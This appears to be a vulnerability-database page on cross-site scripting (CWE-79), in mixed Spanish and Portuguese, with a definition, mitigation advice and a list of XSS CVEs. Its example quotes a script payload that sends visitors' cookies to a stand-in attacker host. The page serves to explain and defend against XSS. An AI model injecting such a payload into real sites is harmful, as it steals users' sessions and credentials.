Fallos del tipo CWE-79

29.918 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46940MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-7623MEDIUMSureForms <= 2.8.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'headingWrapper' Block AttributeEPSS 0.4%CVE-2026-26211MEDIUMEkushey Project Manager CRM 5.0 Stored XSS via System Name FieldEPSS 0.4%CVE-2025-46905MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-6178MEDIUMBetheme <= 28.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'icon_box_2' ShortcodeEPSS 0.4%CVE-2023-3539LOWSimplePHPscripts Simple Forum PHP URL Parameter preview.php cross site scriptingEPSS 0.4%CVE-2025-47075MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-46929MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-27666MEDIUMAuto Dealer Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the name parameter at /classes/SEPSS 0.4%CVE-2025-46965MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-3861LOWphpscriptpoint Insurance search.php cross site scriptingEPSS 0.4%CVE-2023-1946LOWSourceCodester Survey Application System Add New cross site scriptingEPSS 0.4%CVE-2025-26922MEDIUMWordPress AuraMart theme <= 2.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-46893MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-42509MEDIUMApache Wicket: crafted strings can break out of the JavaScript sequenceEPSS 0.4%CVE-2023-22985MEDIUMSourcecodester Simple Guestbook Management System version 1 is vulnerable to Cross Site Scripting (XSS) via Name, Referrer, Location, and CoEPSS 0.4%CVE-2025-46927MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-15021MEDIUMwpForo Forum <= 3.1.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'location' Profile FieldEPSS 0.4%CVE-2023-3536LOWSimplePHPscripts Funeral Script PHP URL Parameter preview.php cross site scriptingEPSS 0.4%CVE-2023-1051MEDIUMXSS in As Koc Web Report SystemEPSS 0.4%